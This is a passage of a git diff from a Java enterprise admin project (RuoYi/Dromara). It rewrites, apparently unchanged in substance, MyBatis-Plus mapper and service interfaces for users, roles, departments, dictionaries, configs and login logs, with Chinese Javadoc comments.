@DataColumn(key = "deptName", value = "d.dept_id"), - @DataColumn(key = "userName", value = "u.user_id") - }) - Page selectUnallocatedList(@Param("page") Page page, @Param(Constants.WRAPPER) Wrapper queryWrapper); - - /** - * 根据用户ID统计用户数量 - * - * @param userId 用户ID - * @return 用户数量 - */ - @DataPermission({ - @DataColumn(key = "deptName", value = "dept_id"), - @DataColumn(key = "userName", value = "user_id") - }) - long countUserById(Long userId); - - /** - * 根据条件更新用户数据 - * - * @param user 要更新的用户实体 - * @param updateWrapper 更新条件封装器 - * @return 更新操作影响的行数 - */ - @Override - /*@DataPermission({ - @DataColumn(key = "deptName", value = "dept_id"), - @DataColumn(key = "userName", value = "user_id") - })*/ - int update(@Param(Constants.ENTITY) SysUser user, @Param(Constants.WRAPPER) Wrapper updateWrapper); - - /** - * 根据用户ID更新用户数据 - * - * @param user 要更新的用户实体 - * @return 更新操作影响的行数 - */ - @Override - /*@DataPermission({ - @DataColumn(key = "deptName", value = "dept_id"), - @DataColumn(key = "userName", value = "user_id") - })*/ - int updateById(@Param(Constants.ENTITY) SysUser user); - - List selectALLList(@Param(Constants.WRAPPER) Wrapper lqw); -} +package org.dromara.system.mapper; + +import com.baomidou.mybatisplus.core.conditions.Wrapper; +import com.baomidou.mybatisplus.core.toolkit.Constants; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import org.apache.ibatis.annotations.Param; +import org.dromara.common.mybatis.annotation.DataColumn; +import org.dromara.common.mybatis.annotation.DataPermission; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysUser; +import org.dromara.system.domain.vo.SysUserExportVo; +import org.dromara.system.domain.vo.SysUserVo; + +import java.util.List; + +/** + * 用户表 数据层 + * + * @author Lion Li + */ +public interface SysUserMapper extends BaseMapperPlus { + + /** + * 分页查询用户列表,并进行数据权限控制 + * + * @param page 分页参数 + * @param queryWrapper 查询条件 + * @return 分页的用户信息 + */ + @DataPermission({ + @DataColumn(key = "deptName", value = "u.dept_id"), + @DataColumn(key = "userName", value = "u.user_id") + }) + Page selectPageUserList(@Param("page") Page page, @Param(Constants.WRAPPER) Wrapper queryWrapper); + + /** + * 查询用户列表,并进行数据权限控制 + * + * @param queryWrapper 查询条件 + * @return 用户信息集合 + */ + @DataPermission({ + @DataColumn(key = "deptName", value = "u.dept_id"), + @DataColumn(key = "userName", value = "u.user_id") + }) + Page selectPageUserList1(@Param("page") Page page, @Param(Constants.WRAPPER) Wrapper queryWrapper); + + + Page selectPageUserList2(@Param("page") Page page, @Param(Constants.WRAPPER) Wrapper queryWrapper); + + @DataPermission({ + @DataColumn(key = "deptName", value = "dept_id"), + @DataColumn(key = "userName", value = "user_id") + }) + List selectUserList(@Param(Constants.WRAPPER) Wrapper queryWrapper); + + /** + * 根据条件分页查询用户列表 + * + * @param queryWrapper 查询条件 + * @return 用户信息集合信息 + */ + @DataPermission({ + @DataColumn(key = "deptName", value = "d.dept_id"), + @DataColumn(key = "userName", value = "u.user_id") + }) + List selectUserExportList(@Param(Constants.WRAPPER) Wrapper queryWrapper); + + /** + * 根据条件分页查询已配用户角色列表 + * + * @param queryWrapper 查询条件 + * @return 用户信息集合信息 + */ + @DataPermission({ + @DataColumn(key = "deptName", value = "d.dept_id"), + @DataColumn(key = "userName", value = "u.user_id") + }) + Page selectAllocatedList(@Param("page") Page page, @Param(Constants.WRAPPER) Wrapper queryWrapper); + + /** + * 根据条件分页查询未分配用户角色列表 + * + * @param queryWrapper 查询条件 + * @return 用户信息集合信息 + */ + @DataPermission({ + @DataColumn(key = "deptName", value = "d.dept_id"), + @DataColumn(key = "userName", value = "u.user_id") + }) + Page selectUnallocatedList(@Param("page") Page page, @Param(Constants.WRAPPER) Wrapper queryWrapper); + + /** + * 根据用户ID统计用户数量 + * + * @param userId 用户ID + * @return 用户数量 + */ + @DataPermission({ + @DataColumn(key = "deptName", value = "dept_id"), + @DataColumn(key = "userName", value = "user_id") + }) + long countUserById(Long userId); + + /** + * 根据条件更新用户数据 + * + * @param user 要更新的用户实体 + * @param updateWrapper 更新条件封装器 + * @return 更新操作影响的行数 + */ + @Override + /*@DataPermission({ + @DataColumn(key = "deptName", value = "dept_id"), + @DataColumn(key = "userName", value = "user_id") + })*/ + int update(@Param(Constants.ENTITY) SysUser user, @Param(Constants.WRAPPER) Wrapper updateWrapper); + + /** + * 根据用户ID更新用户数据 + * + * @param user 要更新的用户实体 + * @return 更新操作影响的行数 + */ + @Override + /*@DataPermission({ + @DataColumn(key = "deptName", value = "dept_id"), + @DataColumn(key = "userName", value = "user_id") + })*/ + int updateById(@Param(Constants.ENTITY) SysUser user); + + List selectALLList(@Param(Constants.WRAPPER) Wrapper lqw); +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysUserPostMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysUserPostMapper.java index 07c1371..8410a9c 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysUserPostMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysUserPostMapper.java @@ -1,13 +1,13 @@ -package org.dromara.system.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysUserPost; - -/** - * 用户与岗位关联表 数据层 - * - * @author Lion Li - */ -public interface SysUserPostMapper extends BaseMapperPlus { - -} +package org.dromara.system.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysUserPost; + +/** + * 用户与岗位关联表 数据层 + * + * @author Lion Li + */ +public interface SysUserPostMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysUserRoleMapper.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysUserRoleMapper.java index 8340348..aa6fcfa 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysUserRoleMapper.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/mapper/SysUserRoleMapper.java @@ -1,23 +1,23 @@ -package org.dromara.system.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.system.domain.SysUserRole; - -import java.util.List; - -/** - * 用户与角色关联表 数据层 - * - * @author Lion Li - */ -public interface SysUserRoleMapper extends BaseMapperPlus { - - /** - * 根据角色ID查询关联的用户ID列表 - * - * @param roleId 角色ID - * @return 关联到指定角色的用户ID列表 - */ - List selectUserIdsByRoleId(Long roleId); - -} +package org.dromara.system.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.system.domain.SysUserRole; + +import java.util.List; + +/** + * 用户与角色关联表 数据层 + * + * @author Lion Li + */ +public interface SysUserRoleMapper extends BaseMapperPlus { + + /** + * 根据角色ID查询关联的用户ID列表 + * + * @param roleId 角色ID + * @return 关联到指定角色的用户ID列表 + */ + List selectUserIdsByRoleId(Long roleId); + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/runner/SystemApplicationRunner.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/runner/SystemApplicationRunner.java index 90482ac..3edf46d 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/runner/SystemApplicationRunner.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/runner/SystemApplicationRunner.java @@ -1,28 +1,28 @@ -package org.dromara.system.runner; - -import lombok.RequiredArgsConstructor; -import lombok.extern.slf4j.Slf4j; -import org.dromara.system.service.ISysOssConfigService; -import org.springframework.boot.ApplicationArguments; -import org.springframework.boot.ApplicationRunner; -import org.springframework.stereotype.Component; - -/** - * 初始化 system 模块对应业务数据 - * - * @author Lion Li - */ -@Slf4j -@RequiredArgsConstructor -@Component -public class SystemApplicationRunner implements ApplicationRunner { - - private final ISysOssConfigService ossConfigService; - - @Override - public void run(ApplicationArguments args) throws Exception { - ossConfigService.init(); - log.info("初始化OSS配置成功"); - } - -} +package org.dromara.system.runner; + +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.dromara.system.service.ISysOssConfigService; +import org.springframework.boot.ApplicationArguments; +import org.springframework.boot.ApplicationRunner; +import org.springframework.stereotype.Component; + +/** + * 初始化 system 模块对应业务数据 + * + * @author Lion Li + */ +@Slf4j +@RequiredArgsConstructor +@Component +public class SystemApplicationRunner implements ApplicationRunner { + + private final ISysOssConfigService ossConfigService; + + @Override + public void run(ApplicationArguments args) throws Exception { + ossConfigService.init(); + log.info("初始化OSS配置成功"); + } + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysClientService.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysClientService.java index 12097de..3b83e34 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysClientService.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysClientService.java @@ -1,59 +1,59 @@ -package org.dromara.system.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.bo.SysClientBo; -import org.dromara.system.domain.vo.SysClientVo; - -import java.util.Collection; -import java.util.List; - -/** - * 客户端管理Service接口 - * - * @author Michelle.Chung - * @date 2023-06-18 - */ -public interface ISysClientService { - - /** - * 查询客户端管理 - */ - SysClientVo queryById(Long id); - - /** - * 查询客户端信息基于客户端id - */ - SysClientVo queryByClientId(String clientId); - - /** - * 查询客户端管理列表 - */ - TableDataInfo queryPageList(SysClientBo bo, PageQuery pageQuery); - - /** - * 查询客户端管理列表 - */ - List queryList(SysClientBo bo); - - /** - * 新增客户端管理 - */ - Boolean insertByBo(SysClientBo bo); - - /** - * 修改客户端管理 - */ - Boolean updateByBo(SysClientBo bo); - - /** - * 修改状态 - */ - int updateUserStatus(String clientId, String status); - - /** - * 校验并批量删除客户端管理信息 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); - -} +package org.dromara.system.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.bo.SysClientBo; +import org.dromara.system.domain.vo.SysClientVo; + +import java.util.Collection; +import java.util.List; + +/** + * 客户端管理Service接口 + * + * @author Michelle.Chung + * @date 2023-06-18 + */ +public interface ISysClientService { + + /** + * 查询客户端管理 + */ + SysClientVo queryById(Long id); + + /** + * 查询客户端信息基于客户端id + */ + SysClientVo queryByClientId(String clientId); + + /** + * 查询客户端管理列表 + */ + TableDataInfo queryPageList(SysClientBo bo, PageQuery pageQuery); + + /** + * 查询客户端管理列表 + */ + List queryList(SysClientBo bo); + + /** + * 新增客户端管理 + */ + Boolean insertByBo(SysClientBo bo); + + /** + * 修改客户端管理 + */ + Boolean updateByBo(SysClientBo bo); + + /** + * 修改状态 + */ + int updateUserStatus(String clientId, String status); + + /** + * 校验并批量删除客户端管理信息 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysConfigService.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysConfigService.java index f7efda7..0f580b0 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysConfigService.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysConfigService.java @@ -1,87 +1,87 @@ -package org.dromara.system.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.bo.SysConfigBo; -import org.dromara.system.domain.vo.SysConfigVo; - -import java.util.List; - -/** - * 参数配置 服务层 - * - * @author Lion Li - */ -public interface ISysConfigService { - - - TableDataInfo selectPageConfigList(SysConfigBo config, PageQuery pageQuery); - - /** - * 查询参数配置信息 - * - * @param configId 参数配置ID - * @return 参数配置信息 - */ - SysConfigVo selectConfigById(Long configId); - - /** - * 根据键名查询参数配置信息 - * - * @param configKey 参数键名 - * @return 参数键值 - */ - String selectConfigByKey(String configKey); - - /** - * 获取注册开关 - * @param tenantId 租户id - * @return true开启,false关闭 - */ - boolean selectRegisterEnabled(String tenantId); - - /** - * 查询参数配置列表 - * - * @param config 参数配置信息 - * @return 参数配置集合 - */ - List selectConfigList(SysConfigBo config); - - /** - * 新增参数配置 - * - * @param bo 参数配置信息 - * @return 结果 - */ - String insertConfig(SysConfigBo bo); - - /** - * 修改参数配置 - * - * @param bo 参数配置信息 - * @return 结果 - */ - String updateConfig(SysConfigBo bo); - - /** - * 批量删除参数信息 - * - * @param configIds 需要删除的参数ID - */ - void deleteConfigByIds(Long[] configIds); - - /** - * 重置参数缓存数据 - */ - void resetConfigCache(); - - /** - * 校验参数键名是否唯一 - * - * @param config 参数信息 - * @return 结果 - */ - boolean checkConfigKeyUnique(SysConfigBo config); - -} +package org.dromara.system.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.bo.SysConfigBo; +import org.dromara.system.domain.vo.SysConfigVo; + +import java.util.List; + +/** + * 参数配置 服务层 + * + * @author Lion Li + */ +public interface ISysConfigService { + + + TableDataInfo selectPageConfigList(SysConfigBo config, PageQuery pageQuery); + + /** + * 查询参数配置信息 + * + * @param configId 参数配置ID + * @return 参数配置信息 + */ + SysConfigVo selectConfigById(Long configId); + + /** + * 根据键名查询参数配置信息 + * + * @param configKey 参数键名 + * @return 参数键值 + */ + String selectConfigByKey(String configKey); + + /** + * 获取注册开关 + * @param tenantId 租户id + * @return true开启,false关闭 + */ + boolean selectRegisterEnabled(String tenantId); + + /** + * 查询参数配置列表 + * + * @param config 参数配置信息 + * @return 参数配置集合 + */ + List selectConfigList(SysConfigBo config); + + /** + * 新增参数配置 + * + * @param bo 参数配置信息 + * @return 结果 + */ + String insertConfig(SysConfigBo bo); + + /** + * 修改参数配置 + * + * @param bo 参数配置信息 + * @return 结果 + */ + String updateConfig(SysConfigBo bo); + + /** + * 批量删除参数信息 + * + * @param configIds 需要删除的参数ID + */ + void deleteConfigByIds(Long[] configIds); + + /** + * 重置参数缓存数据 + */ + void resetConfigCache(); + + /** + * 校验参数键名是否唯一 + * + * @param config 参数信息 + * @return 结果 + */ + boolean checkConfigKeyUnique(SysConfigBo config); + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysDataScopeService.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysDataScopeService.java index 3f252f7..334159c 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysDataScopeService.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysDataScopeService.java @@ -1,26 +1,26 @@ -package org.dromara.system.service; - -/** - * 通用 数据权限 服务 - * - * @author Lion Li - */ -public interface ISysDataScopeService { - - /** - * 获取角色自定义权限 - * - * @param roleId 角色id - * @return 部门id组 - */ - String getRoleCustom(Long roleId); - - /** - * 获取部门及以下权限 - * - * @param deptId 部门id - * @return 部门id组 - */ - String getDeptAndChild(Long deptId); - -} +package org.dromara.system.service; + +/** + * 通用 数据权限 服务 + * + * @author Lion Li + */ +public interface ISysDataScopeService { + + /** + * 获取角色自定义权限 + * + * @param roleId 角色id + * @return 部门id组 + */ + String getRoleCustom(Long roleId); + + /** + * 获取部门及以下权限 + * + * @param deptId 部门id + * @return 部门id组 + */ + String getDeptAndChild(Long deptId); + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysDeptService.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysDeptService.java index bf16642..b737764 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysDeptService.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysDeptService.java @@ -1,125 +1,125 @@ -package org.dromara.system.service; - -import cn.hutool.core.lang.tree.Tree; -import org.dromara.system.domain.bo.SysDeptBo; -import org.dromara.system.domain.vo.SysDeptVo; - -import java.util.List; - -/** - * 部门管理 服务层 - * - * @author Lion Li - */ -public interface ISysDeptService { - /** - * 查询部门管理数据 - * - * @param dept 部门信息 - * @return 部门信息集合 - */ - List selectDeptList(SysDeptBo dept); - - /** - * 查询部门树结构信息 - * - * @param dept 部门信息 - * @return 部门树信息集合 - */ - List> selectDeptTreeList(SysDeptBo dept); - - /** - * 构建前端所需要下拉树结构 - * - * @param depts 部门列表 - * @return 下拉树结构列表 - */ - List> buildDeptTreeSelect(List depts); - - /** - * 根据角色ID查询部门树信息 - * - * @param roleId 角色ID - * @return 选中部门列表 - */ - List selectDeptListByRoleId(Long roleId); - - /** - * 根据部门ID查询信息 - * - * @param deptId 部门ID - * @return 部门信息 - */ - SysDeptVo selectDeptById(Long deptId); - - /** - * 通过部门ID串查询部门 - * - * @param deptIds 部门id串 - * @return 部门列表信息 - */ - List selectDeptByIds(List deptIds); - - /** - * 根据ID查询所有子部门数(正常状态) - * - * @param deptId 部门ID - * @return 子部门数 - */ - long selectNormalChildrenDeptById(Long deptId); - - /** - * 是否存在部门子节点 - * - * @param deptId 部门ID - * @return 结果 - */ - boolean hasChildByDeptId(Long deptId); - - /** - * 查询部门是否存在用户 - * - * @param deptId 部门ID - * @return 结果 true 存在 false 不存在 - */ - boolean checkDeptExistUser(Long deptId); - - /** - * 校验部门名称是否唯一 - * - * @param dept 部门信息 - * @return 结果 - */ - boolean checkDeptNameUnique(SysDeptBo dept); - - /** - * 校验部门是否有数据权限 - * - * @param deptId 部门id - */ - void checkDeptDataScope(Long deptId); - - /** - * 新增保存部门信息 - * - * @param bo 部门信息 - * @return 结果 - */ - int insertDept(SysDeptBo bo); - - /** - * 修改保存部门信息 - * - * @param bo 部门信息 - * @return 结果 - */ - int updateDept(SysDeptBo bo); - - /** - * 删除部门管理信息 - * - * @param deptId 部门ID - * @return 结果 - */ - int deleteDeptById(Long deptId); -} +package org.dromara.system.service; + +import cn.hutool.core.lang.tree.Tree; +import org.dromara.system.domain.bo.SysDeptBo; +import org.dromara.system.domain.vo.SysDeptVo; + +import java.util.List; + +/** + * 部门管理 服务层 + * + * @author Lion Li + */ +public interface ISysDeptService { + /** + * 查询部门管理数据 + * + * @param dept 部门信息 + * @return 部门信息集合 + */ + List selectDeptList(SysDeptBo dept); + + /** + * 查询部门树结构信息 + * + * @param dept 部门信息 + * @return 部门树信息集合 + */ + List> selectDeptTreeList(SysDeptBo dept); + + /** + * 构建前端所需要下拉树结构 + * + * @param depts 部门列表 + * @return 下拉树结构列表 + */ + List> buildDeptTreeSelect(List depts); + + /** + * 根据角色ID查询部门树信息 + * + * @param roleId 角色ID + * @return 选中部门列表 + */ + List selectDeptListByRoleId(Long roleId); + + /** + * 根据部门ID查询信息 + * + * @param deptId 部门ID + * @return 部门信息 + */ + SysDeptVo selectDeptById(Long deptId); + + /** + * 通过部门ID串查询部门 + * + * @param deptIds 部门id串 + * @return 部门列表信息 + */ + List selectDeptByIds(List deptIds); + + /** + * 根据ID查询所有子部门数(正常状态) + * + * @param deptId 部门ID + * @return 子部门数 + */ + long selectNormalChildrenDeptById(Long deptId); + + /** + * 是否存在部门子节点 + * + * @param deptId 部门ID + * @return 结果 + */ + boolean hasChildByDeptId(Long deptId); + + /** + * 查询部门是否存在用户 + * + * @param deptId 部门ID + * @return 结果 true 存在 false 不存在 + */ + boolean checkDeptExistUser(Long deptId); + + /** + * 校验部门名称是否唯一 + * + * @param dept 部门信息 + * @return 结果 + */ + boolean checkDeptNameUnique(SysDeptBo dept); + + /** + * 校验部门是否有数据权限 + * + * @param deptId 部门id + */ + void checkDeptDataScope(Long deptId); + + /** + * 新增保存部门信息 + * + * @param bo 部门信息 + * @return 结果 + */ + int insertDept(SysDeptBo bo); + + /** + * 修改保存部门信息 + * + * @param bo 部门信息 + * @return 结果 + */ + int updateDept(SysDeptBo bo); + + /** + * 删除部门管理信息 + * + * @param deptId 部门ID + * @return 结果 + */ + int deleteDeptById(Long deptId); +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysDictDataService.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysDictDataService.java index 0e697db..5bcc277 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysDictDataService.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysDictDataService.java @@ -1,76 +1,76 @@ -package org.dromara.system.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.bo.SysDictDataBo; -import org.dromara.system.domain.vo.SysDictDataVo; - -import java.util.List; - -/** - * 字典 业务层 - * - * @author Lion Li - */ -public interface ISysDictDataService { - - - TableDataInfo selectPageDictDataList(SysDictDataBo dictData, PageQuery pageQuery); - - /** - * 根据条件分页查询字典数据 - * - * @param dictData 字典数据信息 - * @return 字典数据集合信息 - */ - List selectDictDataList(SysDictDataBo dictData); - - /** - * 根据字典类型和字典键值查询字典数据信息 - * - * @param dictType 字典类型 - * @param dictValue 字典键值 - * @return 字典标签 - */ - String selectDictLabel(String dictType, String dictValue); - - /** - * 根据字典数据ID查询信息 - * - * @param dictCode 字典数据ID - * @return 字典数据 - */ - SysDictDataVo selectDictDataById(Long dictCode); - - /** - * 批量删除字典数据信息 - * - * @param dictCodes 需要删除的字典数据ID - */ - void deleteDictDataByIds(Long[] dictCodes); - - /** - * 新增保存字典数据信息 - * - * @param bo 字典数据信息 - * @return 结果 - */ - List insertDictData(SysDictDataBo bo); - - /** - * 修改保存字典数据信息 - * - * @param bo 字典数据信息 - * @return 结果 - */ - List updateDictData(SysDictDataBo bo); - - /** - * 校验字典键值是否唯一 - * - * @param dict 字典数据 - * @return 结果 - */ - boolean checkDictDataUnique(SysDictDataBo dict); - -} +package org.dromara.system.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.bo.SysDictDataBo; +import org.dromara.system.domain.vo.SysDictDataVo; + +import java.util.List; + +/** + * 字典 业务层 + * + * @author Lion Li + */ +public interface ISysDictDataService { + + + TableDataInfo selectPageDictDataList(SysDictDataBo dictData, PageQuery pageQuery); + + /** + * 根据条件分页查询字典数据 + * + * @param dictData 字典数据信息 + * @return 字典数据集合信息 + */ + List selectDictDataList(SysDictDataBo dictData); + + /** + * 根据字典类型和字典键值查询字典数据信息 + * + * @param dictType 字典类型 + * @param dictValue 字典键值 + * @return 字典标签 + */ + String selectDictLabel(String dictType, String dictValue); + + /** + * 根据字典数据ID查询信息 + * + * @param dictCode 字典数据ID + * @return 字典数据 + */ + SysDictDataVo selectDictDataById(Long dictCode); + + /** + * 批量删除字典数据信息 + * + * @param dictCodes 需要删除的字典数据ID + */ + void deleteDictDataByIds(Long[] dictCodes); + + /** + * 新增保存字典数据信息 + * + * @param bo 字典数据信息 + * @return 结果 + */ + List insertDictData(SysDictDataBo bo); + + /** + * 修改保存字典数据信息 + * + * @param bo 字典数据信息 + * @return 结果 + */ + List updateDictData(SysDictDataBo bo); + + /** + * 校验字典键值是否唯一 + * + * @param dict 字典数据 + * @return 结果 + */ + boolean checkDictDataUnique(SysDictDataBo dict); + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysDictTypeService.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysDictTypeService.java index 3b32d6c..bda19d6 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysDictTypeService.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysDictTypeService.java @@ -1,95 +1,95 @@ -package org.dromara.system.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.bo.SysDictTypeBo; -import org.dromara.system.domain.vo.SysDictDataVo; -import org.dromara.system.domain.vo.SysDictTypeVo; - -import java.util.List; - -/** - * 字典 业务层 - * - * @author Lion Li - */ -public interface ISysDictTypeService { - - - TableDataInfo selectPageDictTypeList(SysDictTypeBo dictType, PageQuery pageQuery); - - /** - * 根据条件分页查询字典类型 - * - * @param dictType 字典类型信息 - * @return 字典类型集合信息 - */ - List selectDictTypeList(SysDictTypeBo dictType); - - /** - * 根据所有字典类型 - * - * @return 字典类型集合信息 - */ - List selectDictTypeAll(); - - /** - * 根据字典类型查询字典数据 - * - * @param dictType 字典类型 - * @return 字典数据集合信息 - */ - List selectDictDataByType(String dictType); - - /** - * 根据字典类型ID查询信息 - * - * @param dictId 字典类型ID - * @return 字典类型 - */ - SysDictTypeVo selectDictTypeById(Long dictId); - - /** - * 根据字典类型查询信息 - * - * @param dictType 字典类型 - * @return 字典类型 - */ - SysDictTypeVo selectDictTypeByType(String dictType); - - /** - * 批量删除字典信息 - * - * @param dictIds 需要删除的字典ID - */ - void deleteDictTypeByIds(Long[] dictIds); - - /** - * 重置字典缓存数据 - */ - void resetDictCache(); - - /** - * 新增保存字典类型信息 - * - * @param bo 字典类型信息 - * @return 结果 - */ - List insertDictType(SysDictTypeBo bo); - - /** - * 修改保存字典类型信息 - * - * @param bo 字典类型信息 - * @return 结果 - */ - List updateDictType(SysDictTypeBo bo); - - /** - * 校验字典类型称是否唯一 - * - * @param dictType 字典类型 - * @return 结果 - */ - boolean checkDictTypeUnique(SysDictTypeBo dictType); -} +package org.dromara.system.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.bo.SysDictTypeBo; +import org.dromara.system.domain.vo.SysDictDataVo; +import org.dromara.system.domain.vo.SysDictTypeVo; + +import java.util.List; + +/** + * 字典 业务层 + * + * @author Lion Li + */ +public interface ISysDictTypeService { + + + TableDataInfo selectPageDictTypeList(SysDictTypeBo dictType, PageQuery pageQuery); + + /** + * 根据条件分页查询字典类型 + * + * @param dictType 字典类型信息 + * @return 字典类型集合信息 + */ + List selectDictTypeList(SysDictTypeBo dictType); + + /** + * 根据所有字典类型 + * + * @return 字典类型集合信息 + */ + List selectDictTypeAll(); + + /** + * 根据字典类型查询字典数据 + * + * @param dictType 字典类型 + * @return 字典数据集合信息 + */ + List selectDictDataByType(String dictType); + + /** + * 根据字典类型ID查询信息 + * + * @param dictId 字典类型ID + * @return 字典类型 + */ + SysDictTypeVo selectDictTypeById(Long dictId); + + /** + * 根据字典类型查询信息 + * + * @param dictType 字典类型 + * @return 字典类型 + */ + SysDictTypeVo selectDictTypeByType(String dictType); + + /** + * 批量删除字典信息 + * + * @param dictIds 需要删除的字典ID + */ + void deleteDictTypeByIds(Long[] dictIds); + + /** + * 重置字典缓存数据 + */ + void resetDictCache(); + + /** + * 新增保存字典类型信息 + * + * @param bo 字典类型信息 + * @return 结果 + */ + List insertDictType(SysDictTypeBo bo); + + /** + * 修改保存字典类型信息 + * + * @param bo 字典类型信息 + * @return 结果 + */ + List updateDictType(SysDictTypeBo bo); + + /** + * 校验字典类型称是否唯一 + * + * @param dictType 字典类型 + * @return 结果 + */ + boolean checkDictTypeUnique(SysDictTypeBo dictType); +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysLogininforService.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysLogininforService.java index 6b3b7a6..4be55fa 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysLogininforService.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/service/ISysLogininforService.java @@ -1,47 +1,47 @@ -package org.dromara.system.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.system.domain.bo.SysLogininforBo; -import org.dromara.system.domain.vo.SysLogininforVo; - -import java.util.List; - -/** - * 系统访问日志情况信息 服务层 - * - * @author Lion Li - */ -public interface ISysLogininforService { - - - TableDataInfo selectPageLogininforList(SysLogininforBo logininfor, PageQuery pageQuery); - - /** - * 新增系统登录日志 - * - * @param bo 访问日志对象 - */ - void insertLogininfor(SysLogininforBo bo); - - /** - * 查询系统登录日志集合 - * - * @param logininfor 访问日志对象 - * @return 登录记录集合 - */ - List selectLogininforList(SysLogininforBo logininfor); - - /** - * 批量删除系统登录日志 - * - * @param infoIds 需要删除的登录日志ID - * @return 结果 - */ - int deleteLogininforByIds(Long[] infoIds); - - /** - * 清空系统登录日志 - */ - void cleanLogininfor(); -} +package org.dromara.system.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.system.domain.bo.SysLogininforBo; +import org.dromara.system.domain.vo.SysLogininforVo; + +import java.util.List; + +/** + * 系统访问日志情况信息 服务层 + * + * @author Lion Li + */ +public interface ISysLogininforService { + + + TableDataInfo selectPageLogininforList(SysLogininforBo logininfor, PageQuery pageQuery); + + /** + * 新增系统登录日志 + * + * @param bo 访问日志对象 + */ + void insertLogininfor(SysLogininforBo bo); + + /** + * 查询系统登录日志集合 + * + * @param logininfor 访问日志对象 + * @return 登录记录集合 + */ + List selectLogininforList(SysLogininforBo logininfor); + + /** + * 批量删除系统登录日志 + * + * @param infoIds 需要删除的登录日志ID + * @return 结果 + */ + int deleteLogininforByIds(Long[] infoIds); + + /** + * 清空系统登录日志 + */ + void cleanLogininfor(); +} diff --git 